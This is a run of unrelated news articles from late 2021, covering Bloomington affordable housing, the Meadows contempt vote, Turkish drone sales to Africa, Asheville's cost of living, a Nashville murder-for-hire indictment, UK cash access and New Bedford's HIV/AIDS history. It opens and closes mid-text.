DISCOVERY! On our last and final day, we invite you to DISCOVER some impressive stats that only begin to describe what makes our Diocese of Bridgeport Catholic Schools a great fit for your family! Learn m..." (Facebook) Bridgeport Public Library: "For Bridgeport history, check out the Bridgeport History Center https://bit.ly/3jab7nH_Bridgeport_History_Center" (Facebook) City of Bridgeport, CT - Government: "The Mortgage Crisis Job Training Program (MCJTP) can help you understand your options to keep your home! Register at https://conta.cc/3GxWw0f for today's 6:30pm virtual info session. #Bridgeport" (Facebook) Bridgeport YMCA: "The Y is Hiring What makes the Y a great place to work? Caring people. Passionate people. Giving people. People like you. Learn more: https://buff.ly/30dyXo1" (Facebook) Bridgeport YMCA: "Want to be healthier in 2022? We can help with that. Spend more time with your family or get more involved with your #community? We can help with those goals too. Reach out and learn more about all the ways we can help make your ..." (Facebook) Nextdoor Neighbor, Bridgeport Northend: "Hi friends my name is jocemy, I'm looking for a 3 bedroom apartment to rent within the valley area preferably shelton, ct or Derby, ct my budget is $1,800 a month. - Thanks you.." (Nextdoor) Nextdoor Neighbor, New school area: "Hi is there anybody who is looking for boys clothes I have a lot of boy clothes from baby to up to 24 months let me know I can give you my address and you can pick up and if you dont have a car and live close by I can bring to you pleas..." (Nextdoor) Nextdoor Neighbor, Michelle: "Hello there people - Tomorrow special Front yard cleanup tomorrow December 15th$99 dollars Book now for tomorrow 5 slot left" (Nextdoor) Nextdoor Neighbor, Black Rock: "Looking for Ring installer for in house security. - Purchased system. Just need help putting it together. 203-829-8899" (Nextdoor) Story continues From our sponsors thanks for supporting local news! Events: WareHouse Thrift Weekend Sale! 25 per item and Furniture/Art/Lamps $10 or less!! (December 17) The Shakespeare Market (December 19) Brighten The First Day Of Winter With 15 Percent Off FTDs Sunniest Blooms (December 21) January 17th/18th Day and Evening "Live" Virtual CT Real Estate Licensing Classes! (December 22) Add your event For sale: Other classifieds: Firearms/Ammunition Wanted Fair Pricing Consignments Performed (Details) Add your classified Loving the Bridgeport Daily? Here are all the ways you can get more involved: Send a friend or neighbor this link so they can subscribe Get your local business listed in front of readers Send me a news tip or suggestion at bridgeport@patch.com Now you're in the loop and ready to head out the door on this Thursday. I'll see you soon! Chris Rhatigan About me: Chris Rhatigan is a freelance writer and editor. This article originally appeared on the Bridgeport Patch Rubble is scooped up Friday, Dec. 10, after the former Night Moves building on South Walnut Street was demolished to make way for an apartment complex. An Indianapolis developer plans to build a five-story building at the former Night Moves location near Switchyard Park that will include 64 apartments, including 48 that will be affordable, with monthly rents as low as $281. The Bloomington City Council unanimously approved tax abatement for the project, at 1730 S. Walnut St. The planned Retreat@Switchyard housing development is seen in this architect's rendering. For three of the one-bedroom units, rents are capped at $281, while six of the two-bedroom apartments will go for $338. The one-bedroom market rate apartments are projected to rent for $850 per month. In addition, 10 of the units will be reserved for clients of Stone Belt, a nonprofit that supports people with disabilities. Some of the units will offer views of the 65-acre public park. Jeff Ryan, vice president of development for Real America LLC, told The Herald-Times he hopes residents can move in late next year. The company can offer the inexpensive apartments in a prime location primarily because of support from the city and federal tax credits, he said. Location of the planned Retreat@Switchyard development. The Bloomington Redevelopment Commission is selling the property, valued at $975,000, to the developer for $1. The tax abatement will lower the owners property tax liability by $138,408 over the next decade. In addition, Ryan said Real America received federal tax credits of $1.2 million per year for 10 years. The company applied for the credits through the Indiana Housing and Community Development Authority. Ryan said the agency approves only 40% of the applications it receives. The program is capped by the federal government, because the credits reduce federal tax collections. Most affordable housing units in the country are built because of the tax credits, Ryan said. The companies who obtain those credits sell them to other businesses, primarily banks, who use those credits to lower their tax liability. Meanwhile, Real America uses the revenue from the sale of those credits to help pay for the construction of the building. Ryan said in a typical apartment project, the owner would have 20% equity, and 80% of the cost would be financed by a loan. Thanks to the revenue from the tax credits, Real America can build an apartment complex with 80% equity. The lower loan payments allow the company to offer the apartments at a much lower rates. Story continues Ryan said the first floor of the Retreat@Switchyard project will include about 3,000 square feet of commercial space. While tenants are still unclear at this point, Ryan said a cafe that sells sandwiches, coffee and ice cream would be incredible." Rubble is scooped up Friday, Dec. 10, after the former Night Moves building on South Walnut Street was demolished to make way for an apartment complex. He said the city is supporting the project because it wants to make sure that living near the park is affordable for people of all incomes not just people who can pay top dollar for housing in a prime location. City council members unanimously approved the tax abatement Wednesday evening, with council members Isabel Piedmont-Smith, Stephen Volan and Ron Smith heaping praise upon the planned development. Piedmont-Smith said she was excited to see an affordable housing development in a location where people dont need to rely on a car. This is a great location for such a project, she said. Tenants in some of the units can earn no more than 30% of area median income, defined by the federal government as "extremely low income," though some tenants can earn up to 80% of AMI. Real America has agreed to reserve 48 apartments for low- to moderate-income tenants for 99 years. This article originally appeared on The Herald-Times: 64-unit apartment building planned at Bloomington's Switchyard Park US Malaysia (ASSOCIATED PRESS) The US Secretary of State, Antony Blinken, announced on Wednesday that he was cutting short a diplomatic trip to Southeast Asia and returning to the US out of an abundance of caution after a reporter in his entourage tested positive for Covid-19. Mr Blinken was traveling in the region to meet with officials in Indonesia, Malaysia, and Thailand, but decided to end the trip instead of meeting with officials in Thailand; a statement from the secretarys spokesperson indicated that as a result, Mr Blinken had invited the Thai foreign minister to Washington. "The secretary extended an invitation for the foreign minister to visit Washington, D.C. at the earliest opportunity and noted that he looked forward to traveling to Thailand as soon as possible," Ned Price said. "They affirmed that they would use the upcoming engagements to further deepen the US-Thai alliance." The unnamed journalist whose positive Covid-19 diagnosis ended Mr Blinkens southeast Asia swing will remain in isolation in Kuala Lumpur, Malaysia, until their symptoms subside according to the State Department. As part of his trip, Mr Blinken was set to discuss with Thai officials how the US and Thailand can work towards post-pandemic economic recovery, and addressing the climate crisis. More follows... Read More Journalist on Blinken trip to Asia tests positive for virus Blinken says US weighing new sanctions on Myanmar AP News Digest 3 am Rep. Mark Meadows, R-N.C., a member of the House Committee on Oversight and Reform, joined at left by Rep. Scott Perry, R-Pa., gives his impressions of the day-long meeting behind closed-doors with Kurt Volker, a former special envoy to Ukraine, as House Democrats proceed with the impeachment investigation of President Donald Trump, at the Capitol in Washington, Thursday, Oct. 3, 2019. The Democratic-controlled House of Representatives recommended a contempt of Congress charge against Mark Meadows, former President Donald Trump's chief of staff, for stonewalling the committee probing the Jan. 6 riot at the U.S. Capitol. Hours of charged debate in the chamber preceded a party-line vote that drew support from only two Republicans over the insurrection as the anniversary of the historic attack approaches. The measure passed 222-208. All five of Arizona's five House Democrats supported the referral; all four of its Republicans opposed it. Rep. Andy Biggs, R-Ariz., Meadows' former colleague in the House Freedom Caucus, denounced the action as outside the legal bounds of a congressional investigation. The vote means Democrats recommend the U.S. Justice Department consider filing a criminal charge against Meadows for ignoring a subpoena. Meadows has refused to sit for a deposition with investigators, citing executive privilege for Trump. Democrats argued throughout the day that Meadows wrote a book about the matter and provided reams of documents before reversing course. Meadows ended his cooperation with House investigators after providing them with about 9,000 pages of documents. Even so, he has refused to sit for a deposition about matters still viewed by the committee as central to understanding what happened around the riot. Meadows, a former House Republican, has claimed some materials are protected by executive privilege, a position Democrats scoffed at. Meadows ended his cooperation, they said, after Trump panned details in Meadows' newly published memoir, which also provided details about Jan. 6. "Every thing every Democrat has said today is meant to attack one person, and that's Donald Trump," Biggs said. He noted that courts have held Congress can investigate to craft laws, but not to search for criminal prosecutions. "That's what we see happening here today," Biggs said. "You can't have a committee to find out what happened because you're interested." Story continues WHO IS BIGGS? Andy Biggs, under scrutiny after Jan. 6 riot, has long history on conservatism's fringes Rep. Ruben Gallego, D-Ariz., said in a tweet after the vote the committee "uncovered just how deeply Mark Meadows was involved in the January 6 insurrection. He's avoided accountability ... He owes the American people answers." Rep. Jamie Raskin, D-Md., a member of the committee, maintained throughout the day that the House has a right to suppress insurrections and investigate an attack on Congress. "This we will do by investigating and reporting on the most dangerous political violence ever unleashed against the Capitol by a domestic enemy," Raskin said. Meadows, Raskin said, has caved to pressure from Trump, who was "embarrassed" by the book. "He called his own book fake news, which is a pretty devastating review to render on your own book," Raskin said. The information Meadows has provided so far includes text messages from three Fox News commentators during the three-hour-long riot urging Meadows to get Trump to help end the chaos at the Capitol. Mark, the president needs to tell people in the Capitol to go home. This is hurting all of us. He is destroying his legacy, wrote Laura Ingraham in a message to Meadows. Trump's son, Donald Trump Jr., also appealed to Meadows to get his father to condemn the violence as it unfolded. We need an Oval Office address. He has to lead now, Trump Jr. wrote to Meadows. It has gone too far and gotten out of hand. The committee has indicated that in November 2020 the White House asked a still-undisclosed member of Congress, presumably a Republican, for a phone number for Arizona Attorney General Mark Brnovich, a Republican now running for the U.S. Senate. Brnovichs office recently opened a criminal investigation of the 2020 election, in the wake of a ballot review commissioned by the Arizona state Senate. Democracy in Doubt series Part 1: White House phone calls, baseless charges: The origins of the Arizona election review The report from the Cyber Ninjas and other Senate contractors found President Joe Biden won Maricopa County by a slightly larger margin than officially reported but said there were numerous problems, such as thousands of people who appeared to have moved but remained on the county's voter rolls. That report has drawn criticism from election experts who cited the lack of experience from those who prepared it and what they view as mistakes in their recount and analysis. Reach the reporter Ronald J. Hansen at ronald.hansen@arizonarepublic.com or 602-444-4493. Follow him on Twitter @ronaldjhansen. Support local journalism. Subscribe to azcentral.com today. Subscribe to our free political podcast, The Gaggle. This article originally appeared on Arizona Republic: Rep. Andy Biggs opposes House contempt referral for Mark Meadows Armed with battle-tested drones, Turkish President Recep Tayyip Erdogan has been deepening defence ties with African countries ahead of a major gathering of the continent's leaders in Istanbul. The two-day Turkey-Africa partnership summit starting Friday comes fast on the heels of a top-level business forum in October that focused on investment and trade. The next phase of this fast-blossoming relationship is security, experts say, with a host of African leaders looking to buy up military hardware at cheaper prices and with fewer strings attached. Leaders and top ministers from 39 countries -- including 13 presidents -- have confirmed attendance, with Erdogan set to make a speech on Saturday. Ankara already has a military base in Somalia, and Morocco and Tunisia reportedly took their first delivery of Turkish combat drones in September. Angola became the latest to express an interest in unmanned aerial vehicles (UAVs) during Erdogan's first visit to the southern African country in October. Turkey in August also signed a military cooperation pledge with Ethiopian Prime Minister Abiy Ahmed, who has been embroiled in a war with Tigrayan rebels for the past year. "The most important sector is the defence sector because this is a new asset. Turkey has pushed this sector a lot, especially drones," Federico Donelli, an international relations researcher at the University of Genoa, told AFP. - 'Everyone asks about UAVs' - Russia has been the dominant player on the African arms market, accounting for 49 percent of the continent's imports between 2015 and 2019, according to the Stockholm International Peace Research Institute (SIPRI). But interest in Turkish weaponry is peaking. The TB2 Bayraktar model is in high demand after it was credited with swinging the fate of conflicts in Libya and Azerbaijan's breakaway region of Nagorno-Karabakh in the past few years. The drones are made by the private Baykar company, run by one of Erdogan's sons-in-law. Story continues "Everywhere I go in Africa, everyone asks about UAVs," Erdogan boasted after a visit to Angola, Nigeria and Togo in October. Some of the closest scrutiny has focused on Turkey's ties with Ethiopia, where a brutal conflict has killed thousands, displaced more than two million and driven hundreds of thousands into famine-like conditions, according to UN estimates. A Western source said Turkey sent an undisclosed number of combat drones in support of Abiy's campaign earlier this year, but that Ankara has since responded to international pressure and halted the sales. "Ethiopia can buy these drones from whoever they want," Turkey's foreign ministry spokesman said in October, neither confirming or denying the sales. - Soaring sales - Official Turkish data does not break down the details of military sales to individual countries, only giving the total sales amount for each month. These have soared spectacularly in the past year. Turkish defence and aviation exports to Ethiopia rose to $94.6 million between January and November from around $235,000 in the same period last year, according to figures published by the Turkish Exporters Assembly. Sales to Angola, Chad and Morocco experienced similar jumps. Turkey's drones first made international headlines after Ankara signed two deals with the UN-recognised Libyan government covering maritime and security in 2019. It then swarmed the conflict zone with drones, stalling an advance by rebel eastern forces backed by Turkey's regional rivals and paving the way for a truce. Turkey cemented its drones' reputation last year by helping Azerbaijan recapture most of the land it lost to separatist ethnic Armenian forces in disputed Nagorno-Karabakh nearly three decades ago. "Now Turkey with drones has more cards to play when they have to bargain with other countries," researcher Donelli said. "This is a very good bargaining chip for Turkey." - Growing network - The head of Turkey's Foreign Economic Relations Board -- the NGO that hosted the October forum in Istanbul -- insisted the growing relationship was not just about weapons. "We care about the defence sector and our relations with Africa," the board's head Nail Olpak told AFP. "But I would like to emphasise that if we see the defence sector only as weapons, rockets, guns, tanks and rifles, it would be wrong." He highlighted Turkish mine-clearing vehicles in Togo, which qualify as defence industry sales. Donelli agreed, referring to Togo's plans to improve its army with the support of Turkey through training and armoured vehicles, weapons and other kinds of equipment. Turkey has reportedly set up a web of 37 military offices across Africa in all, in line with Erdogan's affirmed goal of tripling the annual trade volume with the continent to $75 billion in the coming years. raz/zak/jxb For a couple of decades now, Asheville has been the champion of "best of" lists from national publications and marketing outfits lauding the area's natural beauty and livability. But this week? Not so much. In a Dec. 14 article titled, "The best and worst places to live if you only care about money," National Public Radio's Planet Money notes that our fair mountain town did not fare well in a recent Stanford University study about livability and income. In fact, Asheville made three highly unfavorable lists: The five places with the lowest standard of living for college graduates. Asheville came in fifth, after Medford, Oregon; Provo, Utah; Salem, Oregon; and Olympia, Washington. The five places with the lowest standard of living for those with only a high school diploma. Asheville topped this list, followed by San Diego, California; Manhattan, Kansas; Medford, Oregon; and Jacksonville, North Carolina. The five places with the lowest standard of living for those who didn't finish high school. Asheville was fifth on this list, following San Diego; Cheyenne, Wyoming; Los Angeles; and Miami. By the way, Natchez, Mississippi, came out looking strong in this study, "A fascinating new study by Stanford University economist Rebecca Diamond and University of California, Berkeley economist Enrico Moretti finds that Natchez and its surrounding area offer one of the highest standards of living in the U.S. for workers without college degrees," Planet Money's Greg Rosalsky wrote. As Rosalsky noted, the researchers spent four years "crunching an enormous data set that dives into the day-to-day finances of 3 million American households. This allowed them to see how much people earn, how much they spend and what they buy." The researchers then constructed a cost-of-living index that "paints a vivid picture of prices and typical consumption patterns throughout the United States." Silicon Valley in California ranked as the most expensive area in the country, while Natchez, Mississippi, topped the list for most affordable. Story continues Now, Rosalsky is quick to point out, "There's obviously much more to the value of living in a place than simply the size of your paycheck minus the cost of stuff you buy. Like the cultural scene, the opportunities for your kids, the crime rate, the quality of schools and bars, the proximity to hiking trails or surfing spots and so on." Some folks have become critical of Asheville's downtown, complaining of feeling unsafe. But on the afternoon of Friday, Aug. 6, it was bustling with tourists and relatively placid. While Asheville has no surfing, other than unemployed people on friends' couches, it is known for its natural beauty, a moderate climate, proximity to national and state parks, vibrant dining and beer scenes, and an overall quirky vibe. And people keep moving here in droves, whether for retirement or work. Asheville certainly makes a lot of "best of" lists, whether it's "Best Places to Live for Singles (Money Magazine) or one of the "10 Best Places to Retire in America," (Money.com). Ironically, a recent Realtor.com assessment said Asheville ranks fourth in top cities job seekers 'are now flocking to." In short, the article is based on a "cold calculation," as Rosalsky puts it, based on average income minus taxes and expenses. "This cold calculation misses a lot of the intangible and priceless stuff that can make a place cool," he writes. One other caveat with the Stanford study: the researchers' data dates to 2014, so it's a little dated. But Asheville does routinely rank among the most expensive places to live in North Carolina, and its wages lag behind other metro areas in the state. As the Citizen Times reported in May, Asheville has the highest cost of living in the state, outpacing large metro areas such as Raleigh and Charlotte. And if you follow the link to the study, then search for Asheville, you'll find another quirk: nothing comes up. Moretti explained this in an email to the Citizen Times. "Greg Rosalsky asked us to produce additional rankings top 5 and bottom 5 for high-, mid- and low-education households that are based on our data but are not included in the paper," Moretti said. More: Priced out of Buncombe: 'Half a million dollars for a run-down shack in the back is ridiculous' While its livability may be in question, Asheville absolutely has an embarrassing number of job openings. As of late October, the metro region had about 23,000 job openings, and just over 8,000 unemployed individuals in the region, according to Nathan Ramsey, director of the Mountain Area Workforce Development Board. "If every unemployed individual got a job, we would still have around 15,000 job openings," Ramsey said in October. "Our greatest challenge is the decline in our workforce since March 2020." Going back to the study, these are the places that fared well in those categories Asheville did not: Places with the highest standard of living for college graduates: McAllen, Texas; Houston; Huntington, West Virginia; Beaumont, Texas; Charleston, South Carolina. Places with the highest standard of living for those with only a high school diploma: Gallup, New Mexico; Summersville, West Virginia; Natchez, Mississippi; Graham, Texas; Marquette, Michigan. Places with the highest standard of living for those who didn't finish high school: Summersville, West Virginia; Paris, Texas; Gallup, New Mexico; Galesburg, Illinois; Cadillac, Michigan. "The differences in standard of living across places are very large for high school dropouts in particular," Moretti told Planet Money. "A family, headed by a high school dropout, who moves from the most expensive city in the U.S. to the most affordable one would gain 26% in terms of consumption. There's a significant improvement in what they can afford to buy." Ramsey acknowledged that here in the mountains, "our average wages overall are below North Carolina and national averages," and the cost of living is high. Workers typically earn less in Asheville than the state average, he noted. "For healthcare and hospitality and tourism, jobs in our region pay more than the North Carolina average for that sector," Ramsey said. "So college grads, high school grads, etc., that work in those sectors potentially will make more than other places in North Carolina." Our region does have plenty of good paying jobs, and we have a "talent war" going on for the best candidates, Ramsey added. "We dont have large corporate HQs here like the large North Carolina metros, as generally businesses are smaller here," Ramsey said. "There has never been a better time to find the right job for an individual than now." Asheville Area Chamber of Commerce CEO Kit Cramer noted the title of the article states, "... if you only care about money." "I have a daughter moving here and bringing her own job, although there are plenty of options in a week," Cramer said via email. "Housing will be a challenge. Id like to think her dad and I are the main attraction for her coming to Asheville, but Im well aware there are lots of other things that make our community appealing to her." Simply put, 'it's gorgeous here," Cramer said. "Its cool, literally and figuratively," Cramer said. "People can enjoy great arts and entertainment and food and the great outdoors." On the job front, she said the Chamber's strategy with its "5x5 plan has been, and continues to be, the attraction of jobs in a broad array of sectors that pay salaries higher than the current averages. "Whether through recruitment of new businesses, expansion of existing businesses or creating the next headquartered company through entrepreneurship, weve remained focused on higher wage jobs," Cramer said. "Weve never been the low-cost option, although we continue to work on ways to do things like get more workforce housing built, and more missing middle housing. Its more expensive to develop in the mountains and has only been exacerbated in recent years." This article originally appeared on Asheville Citizen Times: Asheville makes 'worst place to live,' based on standard of living A Texas automobile dealer is accused of hiring hitmen former soldiers to kill his mistress and her new boyfriend, who was trying to blackmail him. According to an unsealed federal indictment, four men are charged with conspiracy to commit kidnapping, kidnapping resulting in death, and carrying, brandishing, and discharging a weapon during a crime of violence. Erik Charles Maund, 46, of Austin, Texas, a partner in Maund Automotive Group, emailed Holly Williams, 33, of Nashville, Tennessee, with whom he had a previous extra-marital relationship, about wanting to see her during an upcoming visit to the city in February 2020. After visiting her in Nashville, Mr Maund received a series of texts from William Lanway, 36, Ms Williams current boyfriend, threatening to expose their affair unless he was paid to stay silent. Mr Maund allegedly enlisted the help of Gilad Peled, 47, of Austin, Texas, who held himself out to be a former member of the Israeli Defence Forces; Bryon Brockway, 46, also of Austin, a former active-duty US Marine who previously served in Force Recon, a Special Operations Capable unit; and Adam Carey, 30, of Richlands, North Carolina, also a former active duty marine who had previously served in the Special Operations Group. Both Mr Peled and Mr Brockway owned private security firms in Austin, and the three were allegedly asked by Mr Maund to help deal with the extortion threat. The indictment further alleges that on 5 March 2020, Mr Maund withdrew $15,000 from his bank account and on that same day an intelligence report was prepared and provided to Mr Peled by a relative of Mr Brockway who worked for an internet-based security company. Mr Carey and others then reportedly travelled to Nashville to surveil Ms Williams and Mr Lanway, and established a Pinger account to attempt to communicate with them. On 9 March 2020, Mr Peled is said to have received a document entitled Tennessee Sitrep, regarding the surveillance of Ms Williams, confirming her address and vehicle, and that Mr Lanway was staying with her. Story continues He advised that Mr Carey and others would use everything at their disposal to stop the attempted extortion of Mr Maund. the indictment says. Police say on 11 March 2020, Mr Brockway and Mr Carey confronted Ms Williams and Mr Lanway in the parking lot of her apartment complex in Nashville and shot Mr Lanway multiple times, killing him. They allegedly then kidnapped Ms Williams and drove her and Mr Lanways body to a construction site, where they fatally shot her. They then discarded the bodies, deleted the Pinger account, and returned their rental car, police say. A total of $750,000 was reportedly wired by Mr Maund to an account controlled by Mr Peled as payment for the kidnapping and murder of the couple. On Friday, FBI agents and Metro Nashville Police detectives orchestrated the arrests of all four individuals across several states. Mr Maund was arrested after a traffic stop near Austin, Texas; Mr Peled was arrested at the citys airport; Mr Brockway was arrested in San Diego, California; and Mr Carey was arrested at his home in North Carolina. They will appear before a US magistrate in the district in which they were taken into custody, before being returned to Tennessee to face the charges against them. If convicted, they face up to life in prison. This investigation began with the discovery of two bodies inside a vehicle on Good Friday 2020, said Nashville Police Chief John Drake in a statement. Realising this very complex case reached far outside of Nashville, our team enlisted the help of the FBI and the US Attorneys Office. Our close relationship with our federal partners led to the indictment and arrest of the four individuals. By Huw Jones LONDON (Reuters) -The Bank of England has told top banks to spell out by March how they will keep enough cash in circulation as COVID-19 accelerates its decline, saying it won't create a new body for distributing notes and coins. Access to cash has become a politically sensitive issue as banks shut branches and more people use cards for payments, raising worries about people's ability to store, send and receive money. Over 5 million adults still rely on cash in their day-to-day lives, many of whom have limited access to banking. A report for the Bank of England (BoE) last year proposed a "utility" or single entity responsible for distributing cash, which would be funded by banks. The BoE said on Wednesday there was no consensus for this due to doubts over how quickly it could be set up given the complex IT challenges involved. Instead, it was opting for industry-wide commitments to maintain sufficient resilience in cash distribution, improve efficiencies to cope with declining volumes, and reduce the environmental hit from processing cash. Industry body UK Finance said on Wednesday major retail banks such as Lloyds, NatWest, Barclays and HSBC have agreed that if a community's core cash service faces closure, cash machine network LINK will have the power to commission new services which the banks would fund. These could include enhanced Post Office services, new free-to-use cash machines, and shared banking hubs. "This is a great start, and I look forward to seeing the impact of industrys announcements for new and improved cash facilities in local communities across the UK," Britain's financial services minister John Glen said. NEW POWERS The BoE set an end of March deadline for banks to submit individual plans on how they will back up their new commitments. "To help support this, HM Treasury will provide the Bank of England with the powers that it needs to keep the wholesale infrastructure sustainable and resilient into the future," the BoE said in a statement. Story continues The use of cash for payment transactions has slumped from just over half in 2010 to 17% in 2020, with the fall accelerating during the pandemic as some shops refused to handle notes and coins, requiring contactless payments instead. Since lockdowns were lifted, cash withdrawals have gradually increased but in August 2021 cash machine withdrawals were 30-40% lower than the same period in 2019, the BoE said. "Looking ahead, there is considerable uncertainty around the long term outlook for cash demand," the BoE said. The Bank is also looking at the potential for a digital version of sterling, which could crimp cash usage further. The Federation of Small Businesses said the new strategy would bring hope to communities that are losing bank branches and cash machines. "This strategy marks a very important step forward. We now need government to deliver the access to cash legislation it promised many months ago to cement and build on the progress made today," the FSB said. (Reporting by Huw JonesEditing by William Maclean and Mark Potter) NEW BEDFORD A global epidemic that has plagued the world for 40 years may be ending in the next decade, even as the world continues to battle the COVID-19 pandemic. On World AIDS Day on Dec. 1, the Biden-Harris Administration announced its commitment to ending the HIV/AIDS epidemic by 2030, reiterating the governments bipartisan mission to end the HIV epidemic. Similarly, the COVID-19 pandemic continues to drone on and change normal life. Local medical professionals, who worked amid the COVID pandemic and the HIV/AIDs epidemic, as well as survivors of HIV/AIDS spoke about the comparisons between the two global health crises. As I followed the [HIV/AIDS] epidemic, it was rising exponentially, Cheryl Barlett, CEO and registered nurse at Greater New Bedford Community Health Center said. People were very fearful, people died very quickly in a 12-month period. Activists and health care experts weighed in on the ongoing HIV/AIDS pandemic as it is slated to end by 2030. Both were first known to affect a specific group, resulting in discrimination. In the 1980s, HIV/AIDS was announced as a gay men or intravenous drug user disease. According to the CDC, COVID-19, caused by a virus named SARS-CoV-2 was discovered in December 2019 in Wuhan, China leading some to label it as the Chinese virus. Barlett noted it affected a significant population of men who either identified as gay or not. At the start of the virus, otherwise healthy men were contracting pneumonia, skin blotches were surfacing along with other uncommon infections. She said the most tragic part was families learning their children or loved ones were gay while critically ill with AIDS, raising emotional and psychological concerns on how to bring a family together over the bad news. Things were still pretty closeted, Bartlett said. Memorials for lives lost to HIV/AIDs In hospitals and healthcare systems, policies were put into place. Bartlett said like COVID-19, staff were instructed to treat symptoms without knowing the underlying cause. Nantucket was a hotspot for AIDS when it first emerged and a memorial service for 40 to 50 lives lost was held in the quieter off-season, Bartlett said. Story continues The reverend asked people to list names of people to remember, and everyone listed four to five names, Bartlett recalled. I remember thinking, this is really big. This seems bigger than just a small memorial, what can we do as a small town and small community? Lessons learned from AIDS crisis: Provincetown rallies to fend off COVID delta variant, advances study of breakthrough cases When COVID-19 hit, officials at local, state and federal levels brought attention to it, although former President Donald Trump did not immediately address the severity of the virus. However, the vaccine was pushed quickly and proven effective after just one year. For those who contracted AIDS, it wasnt addressed on a serious level by former President Ronald Reagan until 1985, four years after it was first identified. Dr. William Brandon, deputy medical director of Manet Community Health Center, said he was involved since the beginning of the HIV/AIDS epidemic as a medical student. I knew something was going on before the virus was identified, Brandon said. Health officials agree that while both viruses deserve equal attention, COVID-19 has overshadowed the ongoing battle against HIV/AIDS. Bartlett said while COVID-19 treatment took center stage, there was a lot less attention being paid to HIV/AIDS and health officials were not paying attention to rising numbers. With most elective procedures and office visits minimized, there was a lack of access to regular services and treatments. Those with HIV/AIDS had a higher risk of contracting COVID-19, requiring careful monitoring, which was offered through Telehealth check-ins. Labs were not monitored as closely, but providers made sure those with AIDS stayed on their medications. COVID-19 affected women, forcing them to delay mammograms. Colonoscopies and cancer screenings were delayed the most. Bartlett noted that diabetes was a commonly delayed diagnosed condition due to the pandemic. The impact was significant, but different said Bartlett of the two global health crises. Fighting HIV/AIDS: Its been 40 years since the first reported cases of AIDS. While treatments have come a long way, a vaccine remains elusive. On a societal level, residents were evicted due to contracting AIDS, similar to how residents were evicted due to lack of rent from unemployment from COVID-19. Once treatments for HIV were introduced, it began to mitigate the spread, but there is still no vaccine for it. [HIV] treatment is successful now, and its not as big of a deal," Brandon said, while also noting the lack of a vaccine. Brandon said he still gets new HIV patients and wonders how they could have contracted the virus decades after larger outbreaks, but he said he is still there to help his patients. Its human nature to feel frustrated while caring for those who were ignorant to the cause, Brandon said. With HIV, we had a way to control it and have good medicines now. With COVID-19, it was uncertain and anxiety-provoking. Now, the vaccine is the easier solution to deal with COVID. A community not receiving the attention it deserved Brandon was struck by the AIDS virus because it was more prevalent in gay men in heavily populated areas such as New York and California, which didn't elicit the same kind of interest as any other disease. President Reagan wouldnt even say the word in the White House, he recalled. Brandon said the epidemic gained public interest in the first years due to the grassroots efforts of gay people demanding it be taken seriously. Liz DiCarlo, a registered nurse and LGBTQ+ activist, recalls that the disease was downplayed and not given enough attention because of the group it affected. Homophobia existed within society during the 80s, DiCarlo said. It stopped government from responding to an epidemic that was right in front of them. DiCarlo said that in the SouthCoast, it took a long time for gay men and women to be outside and comfortable in community. LGBTQ+ elders: 'If you're older, you're just plain afraid': How SouthCoast advocates are helping Bartlett served as director of clinical services on Nantucket as well as the infection control nurse. When HIV/AIDS first broke out, she took care of patients with communicable diseases to prevent transmission between patients and staff. People wouldnt take care of them [with AIDS] versus COVID, where everyone needed to be taken care of, Bartlett said. She recalled a 20-year-old male dying because no one would care for him or enter his room for fear of transmission. Bartlett said she fought with the hospital for dignity and respect for those dying. Health officials agreed that while it was prominent in the gay and drug user communities, people began to realize it affected more than that. Officials said that men, who were either closeted gays or IV drug users, were unknowingly contracting the virus and bringing it home to their wives and passing it along to future children. Most heterosexuals didnt care about the HIV pandemic, they said it didnt affect them, DiCarlo said. [The issue was] not only their own homophobia but transmission. They learned about IV and sexual partners and children born to drug using women. People didnt think it would affect them; we didnt do anything, we didnt prepare, we didnt talk about the reality of how it was transmitted. IV users: the next affected population "In New Bedford, it was clear that it was affecting gay men, but it was also very clear that IV users were being impacted tremendously, DiCarlo said. DiCarlo said as the affected populations expanded, local organizations began reaching out not just to active drug users and members of the gay community. They developed a community of outreach workers who went into bars and places with sex workers and worked to educate people at nonprofits and churches to try and get prevention education out there. The twin epidemics in New Bedford were very clear, DiCarlo said. We needed to focus on substance abuse as well as sexual practices. According to a 1996 Standard-Times article, 20,351 New Bedford residents voted against a proposed needle exchange program while 9,390 voted in favor of the program designed to slow the spread of AIDS and HIV by exchanging clean needles for used ones. Massachusetts Department of Public Health data showed that 73 percent of AIDS cases in the city were attributed to IV drug use. There were mixed responses from representatives on the program. Linda Spinner, HIV/AIDS activist, told her story at the World AIDS Day event held by the South Coast LGBTQ Network. Woman didnt get AIDS, only drug users, Spinner said. Pandemics are now endemic. History of the HIV/AIDS virus on the Southcoast of Massachusetts The first cases of HIV/AIDS emerged in June 1981 when the CDC published an article via the Morbidity and Morality Weekly Report (MMWR) on a rare lung infection similar to pneumonia in five young previously healthy gay men in Los Angeles, California. By the time the report was published, two of those men had died and the others would die shortly after. The fatal condition was reported as Acquired Immodeficiency Syndrome (AIDS) and began a publicized epidemic. On the SouthCoast, after national breakout cases such as Ryan Whites blood transfusion case, friends and family begin to heal after losing loved ones to the virus. According to the South Coast LGBTQ Network, Healing Light Productions started raising money from the heart through musical concerts in members backyards and donations from individuals for holistic treatments for people with AIDS including herbal remedies, massage therapy, and acupuncture; these concerts and drag shows continued to inspire, support and educate the community in larger venues over the next ten years. In the first decade, development of HIV/AIDS grew rapidly on the South Coast. In July 1988, Patrick Manning was the first openly gay man who made a significant impact as an advocate for people with AIDS on the SouthCoast. A Freetown native and resident of Provincetown during the last decades of his life, Manning passed away on May 28, 2019. During this era, New Bedford saw an influx of treatments, conferences, programs and organizations bring light to the disease. AIDS Service Organizations (ASO) Project Care opened in New Bedford and Project Aware was established in Fall River. Staff provide counseling and testing, meal delivery, case management, housing assistance and HIV education to agencies and community groups. The Alliance of Gays, Lesbians and Supporters (AGLAS) held a conference in New Bedford focusing on the HIV epidemic and preventative education strategies as well as HIV counseling and testing in methadone clinics and family planning locations. In July 1989, the Community Working Group on AIDS Education (CWG) started street outreach in New Bedford and distributed more than 25,000 leaflets and posters in English, Portuguese, and Spanish throughout the city and at summertime community events. In November, Treatment on Demand (TOD) launched in New Bedford by recovering addicts and allies to combat substance abuse and HIV/AIDS by building a broad-based movement to work for effective prevention and accessible treatment. The Standard-Times and local media outlets continued coverage of the disease and those in the community it affected to break through the stigma and spread community support. Grassroots organizations spread awareness and education. A needle exchange program was approved by the city council only to be vetoed by the mayor, with continued community efforts to promote clean needle exchange. Moving forward: What's next in the fight against HIV/AIDS Today, approximately 1.2 million people in the United States have HIV, according to federal statistics from HIV.gov. About 13 percent of those affected are not aware and need 